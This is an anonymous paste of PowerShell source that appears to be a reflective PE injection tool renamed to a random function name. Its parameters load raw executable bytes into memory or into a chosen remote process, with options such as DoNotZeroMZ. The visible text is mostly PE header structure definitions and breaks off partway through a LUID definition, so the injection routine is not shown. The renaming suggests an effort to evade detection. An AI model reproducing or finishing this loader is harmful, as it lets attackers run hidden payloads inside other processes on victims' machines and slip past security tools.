SHARE
TWEET

Untitled

a guest Oct 21st, 2019 95 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function Invoke-LPLOHDNVEOATGHH
  3. {
  4.  
  5. [CmdletBinding()]
  6. Param(
  7.     [Parameter(Position = 0, Mandatory = $true)]
  8.     [ValidateNotNullOrEmpty()]
  9.     [Byte[]]
  10.     $PEBytes,
  11.  
  12.     [Parameter(Position = 1)]
  13.     [String[]]
  14.     $ComputerName,
  15.  
  16.     [Parameter(Position = 2)]
  17.     [ValidateSet( 'WString', 'String', 'Void' )]
  18.     [String]
  19.     $FuncReturnType = 'Void',
  20.  
  21.     [Parameter(Position = 3)]
  22.     [String]
  23.     $ExeArgs,
  24.  
  25.     [Parameter(Position = 4)]
  26.     [Int32]
  27.     $ProcId,
  28.  
  29.     [Parameter(Position = 5)]
  30.     [String]
  31.     $ProcName,
  32.  
  33.     [Switch]
  34.     $ForceASLR,
  35.  
  36.     [Switch]
  37.     $DoNotZeroMZ
  38. )
  39.  
  40. Set-StrictMode -Version 2
  41.  
  42.  
  43. $RemoteScriptBlock = {
  44.     [CmdletBinding()]
  45.     Param(
  46.         [Parameter(Position = 0, Mandatory = $true)]
  47.         [Byte[]]
  48.         $PEBytes,
  49.  
  50.         [Parameter(Position = 1, Mandatory = $true)]
  51.         [String]
  52.         $FuncReturnType,
  53.  
  54.         [Parameter(Position = 2, Mandatory = $true)]
  55.         [Int32]
  56.         $ProcId,
  57.  
  58.         [Parameter(Position = 3, Mandatory = $true)]
  59.         [String]
  60.         $ProcName,
  61.  
  62.         [Parameter(Position = 4, Mandatory = $true)]
  63.         [Bool]
  64.         $ForceASLR
  65.     )
  66.  
  67.     Function Get-Win32Types
  68.     {
  69.         $Win32Types = New-Object System.Object
  70.  
  71.         $Domain = [AppDomain]::CurrentDomain
  72.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  73.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  74.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  75.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  76.  
  77.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  78.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  79.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  80.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  81.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  82.         $MachineType = $TypeBuilder.CreateType()
  83.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  84.  
  85.  
  86.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  87.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  88.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  89.         $MagicType = $TypeBuilder.CreateType()
  90.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  91.  
  92.  
  93.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  94.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  95.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  96.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  97.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  98.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  99.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  100.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  104.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  105.         $SubSystemType = $TypeBuilder.CreateType()
  106.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  107.  
  108.  
  109.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  110.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  111.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  112.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  113.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  114.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  115.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  116.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  117.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  118.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  119.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  120.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  121.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  122.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  123.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  124.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  125.  
  126.  
  127.  
  128.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  129.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  130.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  131.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  132.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  133.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  134.  
  135.  
  136.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  137.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  138.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  139.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  140.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  141.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  142.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  143.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  144.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  145.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  146.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  147.  
  148.  
  149.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  150.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  151.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  152.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  153.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  154.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  155.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  156.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  157.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  158.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  159.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  160.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  161.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  162.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  163.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  164.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  165.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  166.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  167.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  168.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  169.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  170.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  171.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  172.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  173.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  174.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  175.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  177.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  178.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  179.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  180.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  181.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  182.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  183.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  184.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  185.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  186.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  187.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  188.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  189.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  190.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  191.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  192.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  193.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  194.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  195.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  196.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  197.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  198.  
  199.  
  200.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  201.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  202.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  203.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  204.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  205.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  206.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  207.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  208.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  209.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  210.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  211.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  212.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  213.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  214.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  215.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  216.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  217.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  218.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  219.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  220.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  221.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  222.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  223.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  224.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  225.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  226.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  227.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  229.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  230.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  231.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  232.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  233.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  234.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  235.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  236.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  237.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  238.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  239.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  240.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  241.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  242.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  243.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  244.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  245.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  246.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  247.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  248.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  249.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  250.  
  251.  
  252.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  253.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  254.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  255.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  256.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  257.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  258.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  259.  
  260.  
  261.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  262.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  263.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  264.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  265.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  266.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  267.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  268.  
  269.  
  270.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  271.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  272.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  273.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  274.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  275.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  276.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  277.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  278.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  279.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  285.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  286.  
  287.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  288.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  289.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  290.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  291.         $e_resField.SetCustomAttribute($AttribBuilder)
  292.  
  293.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  294.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  295.  
  296.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  297.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  298.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  299.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  300.  
  301.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  302.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  303.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  304.  
  305.  
  306.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  307.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  308.  
  309.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  310.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  311.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  312.         $nameField.SetCustomAttribute($AttribBuilder)
  313.  
  314.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  315.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  316.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  317.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  318.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  319.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  320.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  321.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  322.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  323.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  324.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  325.  
  326.  
  327.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  328.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  329.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  330.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  331.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  332.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  333.  
  334.  
  335.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  336.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  337.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  338.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  339.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  340.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  341.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  342.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  343.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  344.  
  345.  
  346.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  347.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  348.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  349.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  350.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  351.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  352.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  353.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  354.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  355.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  358.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  359.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  360.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  361.  
  362.  
  363.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  364.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  365.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  366.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
